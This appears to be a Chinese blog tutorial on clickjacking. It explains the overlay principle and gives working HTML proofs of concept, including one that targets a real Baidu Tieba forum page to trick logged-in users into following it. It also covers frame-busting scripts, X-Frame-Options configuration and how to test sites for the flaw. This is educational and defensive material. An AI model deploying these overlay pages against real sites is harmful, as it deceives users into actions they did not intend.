界面劫持

界面劫持

界面劫持攻击时一种基于视觉欺骗的web会话劫持攻击,它通过在网页的可见控件上覆盖一个不可见的框(iframe),使得用户误以为在操作可见控件,而实际上用户的操作行为被其不可见的框所劫持,执行不可见框中的恶意劫持代码,从而完成在用户不知情的情况下窃取敏感信息、篡改数据等攻击。

界面劫持分类

  • 点击劫持:劫持用户的鼠标点击操作
  • 拖放劫持:劫持用户的鼠标拖放行为(鼠标拖放行为不受跨域的限制)
  • 触屏劫持:劫持用户触摸屏幕的行为

劫持原理

劫持是通过覆盖一个不可见的框,从原理上来说是一个透明层+iframe,透明层是指页面的透明度为零

透明层使用CSS样式实现

IE浏览器使用私有的CSS透明属性

1
filter:alpha(opacity=50) //数值从0-100,数值越小,透明度越高

chrome、Firefox等使用的CSS透明属性如下

1
opacity:0.5 //数值从0-1,数值越小,透明度越高

控件位置之间的层次关系使用z-index,任何浏览器都支持

1
z-index:1   //数值可以是负数,高数值的控件会低于低数值控件的前面,数值越高,控件越靠近用户

使用iframe嵌入被劫持的页面

1
<iframe id="victim" src="http://www.victim.com" scrolling="no">   //通过页面透明层+iframe实现对用户的视觉欺骗,即用户看到的操作对象和实际的操作对象是不一致的

拖放劫持相关

由于拖放劫持和触屏劫持实现较负载,这里只了解相关知识

拖放劫持的思路

“拖放劫持”的思路是诱使用户从隐藏的不可见iframe中”拖拽”出攻击者希望得到的数据,然后放到攻击者能控制的另外一个页面中,从而窃取数据。(突破同源限制)

拖放劫持技术原理

支持Drag&Drop API

主流的浏览器都有drag-and-drop API 接口,供网站开发人员创建交互式网页。但是,这些 API 接口在设计时没有考虑很多的安全性问题,导致通过拖拽就可以实现跨域操作。利用拖拽技术,攻击者可以突破很多已有的安全防御措施。

利用拖拽技术,攻击者可以轻易将文本注入到目标网页。在实际实施过程中,攻击者欺骗用户选择输入框的内容,完成拖拽操作。另外一种方式是,通过浏览器的 API 接口将 iframe 中的内容拖拽到目标网页的 text area 中,攻击者就可以获得用户网页中存在的敏感信息。

dataTransfer对象

为了能够协助通过拖放操作传递数据,在IE5.0以后引入了dataTransfer对象,他作为event对象的一个属性出现,用于从被拖动的对象传递字符串到放置对象。

dataTransfer对象定义了两个主要方法:getData()和setData().getData操作完成获取由setData所存储的数据。setData操作完成向系统剪贴板中存储需要传递的数据,传递数据分为两种类型:文本数据和URL数据。在HTML5的扩展中,其允许指定任意的MIME类型。有了dataTransfer对象和操作方法后,就为跨域传递数据提供了有效的技术手段

拖放劫持防御方法

目前只有FireFox和IE浏览器支持拖放功能,Chrome并不支持拖放功能,所以使用Chrome浏览器可在一定程度上防御拖放攻击;对于IE浏览器来说,不使用ActiveX这类危险组件也可以有效防御拖放攻击。

触屏劫持相关

较为复杂,了解相关知识

触屏劫持防御

1
2
3
4
5
6
7
8
9
1、不点击任何不明网站、App上弹出的各种提示信息,例如:手机中病毒需升级杀毒软件等等。最好使用返回键,返回上一级页面,如若恶意跳转,大概率为恶意网站且包含触屏劫持。



2、苹果手机在使用Safari浏览器的时候,遇到不明情况的提示框或页面,一定要确认地址栏的地址是否隐藏以及是否正确,若网站上含有触屏劫持,则大概率会添加假的地址栏做误导,需谨慎认清。



3、安卓手机要多加注意提示框弹出前后,手机系统给出的提示,由于不同安卓手机有很大差别触屏劫持在不同手机上会有不同的效果,但在获取权限时系统都会有好几步的确认工作,所以要多加注意之中细微的差别。

点击劫持技术实现

构造一个点击页面,上面覆盖一个透明层的iframe,当诱导用户点击时触发iframe中的页面中的login按钮

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<style>
#click{
width: 100px;
top: 20px;
left: 20px;
position: absolute;
z-index: 1
}

#hidden{
height: 50px;
width: 120px;
position: absolute;
filter: alpha(opacity=50);
opacity: 0;
z-index: 2
}
</style>
<input id="click" value="Click me" type="button"/>
<iframe id="hidden" src="inner.html" scrolling="no"></iframe>
</body>
</html>

inner.html

1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<input style="width: 100px;" value="Login" type="button" onclick="alert('clickjacking_test')"/>
</body>
</html>

效果如下

说明:

clickjacking.html是一个用户可见的伪装页面,在其页面中设置iframe所在层为透明层,并在iframe中嵌套了inner.html页面。在clickjacking.html页面中设计了Click me,inner.html中的”login”按钮与其重合,所以在用户点击Click me时实际上点击的是login按钮。

点击劫持实战

利用点击劫持诱导用户关注贴吧(在百度账户登录的情况下;目标http://tieba.baidu.com/f?kw=%C3%C0%C5%AE

抓包测试HTTP响应头是否有 X-Frame-Options字段

构造透明层iframe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE HTML>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<head>
<title>点击劫持</title>
<style>
html,body,iframe{
display: block;
height: 100%;
width: 100%;
margin: 0;
padding: 0;
border:none;
}
iframe{
opacity:0;
filter:alpha(opacity=0);
position:absolute;
z-index:2;
}
button{
position:absolute;
top: 355px;
left: 547px;
z-index: 1;
width: 72px;
height: 26px;
}
</style>
</head>
<body>
那些不能说的秘密
<button>查看详情</button>
<iframe src="http://tieba.baidu.com/f?kw=%C3%C0%C5%AE"></iframe>
</body>
</html>

修改opacity值为0.3查看覆盖效果

可以看到刚好覆盖在关注按钮上,只有用户登录了百度账户,诱导用户点击即可劫持鼠标点击关注

一般这种界面不容易诱导用户,所以要构造好诱导页面;在iframe中加载目标站点时,除了点击劫持还可以进行图片覆盖,有些图片的本来就可以诱导用户,当然也可以点击劫持加图片覆盖结合使用

示例

1
2
3
<a href="http://tieba.baidu.com/f?kw=%C3%C0%C5%AE">
<img src="sonarqube-black-256px.png" style="position:absolute;top:90px;left:320px;" />
</a>

结合刚才的实例一起加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<!DOCTYPE HTML>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<head>
<title>点击劫持</title>
<style>
html,body,iframe{
display: block;
height: 100%;
width: 100%;
margin: 0;
padding: 0;
border:none;
}
iframe{
opacity:0.3;
filter:alpha(opacity=0);
position:absolute;
z-index:2;
}
button{
position:absolute;
top: 355px;
left: 547px;
z-index: 1;
width: 72px;
height: 26px;
}
</style>
</head>
<body>
那些不能说的秘密
<button>查看详情</button>
<iframe src="http://tieba.baidu.com/f?kw=%C3%C0%C5%AE"></iframe>
<a href="http://tieba.baidu.com/f?kw=%C3%C0%C5%AE">
<img src="sonarqube-black-256px.png" style="position:absolute;top:90px;left:320px;" />
</a>
</body>
</html>

点击劫持实例+防御对比

情景一:无任何防御

目标页面代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>后台管理员添加</title>
<style>
body{ background-repeat: no-repeat;background-size: 100% 100%;background-attachment: fixed;}
h2{ color:blue;text-align: center;}
</style>
</head>
<body>
<h2>管理员添加</h2>
<div style="text-align:center;">
<form action="x.php" method="POST">
<input type="username" name="username"><br><br>
<input type="password" name="password"><br>
<input type="submit" name="submit" value="提交">
</div>
</body>
</html>

效果:模拟的登录界面

构造透明层iframe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>点击劫持</title>
<style>
body{ background-repeat: no-repeat;background-size: 100% 100%;background-attachment: fixed;}
iframe{ position: absolute;z-index: 2;top: 0px;left: 0px;width: 1800px;height: 900px;opacity: 0;filter: alpha(opacity=0);}
button{ position: absolute;z-index: 1;top: 140px;left: 881px;}
input{ position: absolute;z-index: 1;top: 80px;left: 821px;}
</style>
</head>
<body background="mv.jpg" >
<div style="position: absolute;z-index: 1; top: -3px;left: 800px">
<h2>靓丽美女账号注册</h2>
</div>
<input type="text">
<div style="position: absolute;z-index: 1;top: 43px;left: -1px;">
<input type="text">
</div>
<button>注册</button>
<iframe src="./admin.html"></iframe>
</body>
</html>

效果:诱导注册

后台处理:实际场景中是模拟登录,此处为了方便,弹框即可

1
2
3
4
5
6
7
8
9
10
11
<?php
header("content-type:text/html;charset=utf-8");
if (isset($_POST['submit'])) {
if (isset($_POST['username']) && isset($_POST['password'])) {
echo "<script>alert('接收成功')</script>";
echo "<script>alert('hacked by demos')</script>";
} else {
echo "<script>alert('数据不完整')</script>";
}
}
?>

诱导点击效果:

情景二:界面使用JavaScript动态防御

1
2
3
4
5
6
7
8
9
10
11
<script>
if(self == top) //在应用iframe时top指的是顶级的窗口
{
var theBody = document.getElementsByTagName('body')[0];
theBody.style.display = "block";
}
else
{
top.location = self.location;
}
</script>

在网站页面开发加上如上代码,可以动态防御iframe嵌入页面,在检测到有iframe嵌入当前页面时,直接跳转到当前页面,从而防御点击劫持。

本例实现代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>后台管理员添加</title>
<style>
body{ background-repeat: no-repeat;background-size: 100% 100%;background-attachment: fixed;}
h2{ color:blue;text-align: center;}
</style>
</head>
<body>
<h2>管理员添加</h2>
<script>
if(self == top)
{
var theBody = document.getElementsByTagName('body')[0];
theBody.style.display = "block";
}
else
{
top.location = self.location;
}
</script>
<div style="text-align:center;">
<form action="x.php" method="POST">
<input type="username" name="username"><br><br>
<input type="password" name="password"><br>
<input type="submit" name="submit" value="提交">
</div>
</body>
</html>

iframe嵌入访问的效果如下:当攻击者诱导用户访问恶意界面时,立即跳转到真正的页面,进行防御

情景三:添加X-Frame-Options头

使用该头后禁止页面被iframe嵌套 ,chrome有点问题,不知道为什么,emmm

修改代码如下

admin.php:禁止一切源嵌入当前页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
header("X-FRAME-OPTIONS:DENY");
?>
<html>
<head>
<meta charset="utf-8">
<title>后台管理员添加</title>
<style>
body{ background-repeat: no-repeat;background-size: 100% 100%;background-attachment: fixed;}
h2{ color:blue;text-align: center;}
</style>
</head>
<body>
<h2>管理员添加</h2>
<div style="text-align:center;">
<form action="x.php" method="POST">
<input type="username" name="username"><br><br>
<input type="password" name="password"><br>
<input type="submit" name="submit" value="提交">
</div>
</body>
</html>

攻击者构造的恶意页面

jack.html:opacity改为0.3查看是否嵌套成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>点击劫持</title>
<style>
body{ background-repeat: no-repeat;background-size: 100% 100%;background-attachment: fixed;}
iframe{ position: absolute;z-index: 2;top: 0px;left: 0px;width: 1800px;height: 900px;opacity: 0.3;filter: alpha(opacity=0);}
button{ position: absolute;z-index: 1;top: 140px;left: 881px;}
input{ position: absolute;z-index: 1;top: 80px;left: 821px;}
</style>
</head>
<body background="mv.jpg" >
<div style="position: absolute;z-index: 1; top: -3px;left: 800px">
<h2>靓丽美女账号注册</h2>
</div>
<input type="text">
<div style="position: absolute;z-index: 1;top: 43px;left: -1px;">
<input type="text">
</div>
<button>注册</button>
<iframe src="http://192.168.1.102/clickhack/test2_2/admin.php"></iframe>
</body>
</html>

效果如下:攻击者没有嵌套成功

访问页面抓取数据包查看

漏洞挖掘

最简单的方法:查看目标页面是否可以被iframe嵌套,利用pocbox做演示和上面实例做演示

情景一:无任何防御

情景二:界面使用JavaScript动态防御

情景三:添加X-Frame-Options头

防御

使用JavaScript动态防御

使用一个HTTP头——X-Frame-Options。X-Frame-Options可以说是为了解决ClickJacking而生的,它有三个可选的值:

DENY:浏览器会拒绝当前页面加载任何frame页面;

SAMEORIGIN:frame页面的地址只能为同源域名下的页面;

ALLOW-FROM origin:允许frame加载的页面地址;

PS:浏览器支持情况:IE8+、Opera10+、Safari4+、Chrome4.1.249.1042+、Firefox3.6.9。

具体的设置方法:

Apache配置:

1
Header always append X-Frame-Options SAMEORIGIN

nginx配置:

1
add_header X-Frame-Options SAMEORIGIN;

IIS配置:

1
2
3
4
5
6
7
8
9
<system.webServer>
...
<httpProtocol>
<customHeaders>
<add name="X-Frame-Options" value="SAMEORIGIN" />
</customHeaders>
</httpProtocol>
...
</system.webServer>

总结

界面操作劫持漏洞挖掘只需要确认:目标的HTTP响应头是否设置好了X-Frame-Options字段;目标是否又JavaScript的Frame Busting机制;更简单的是用iframe嵌入目标站点试试,如果成功,则证明漏洞存在。

参考

web前端黑客技术揭秘

https://www.cnblogs.com/lovesong/p/5248483.html

https://www.cnblogs.com/haq5201314/p/8992273.html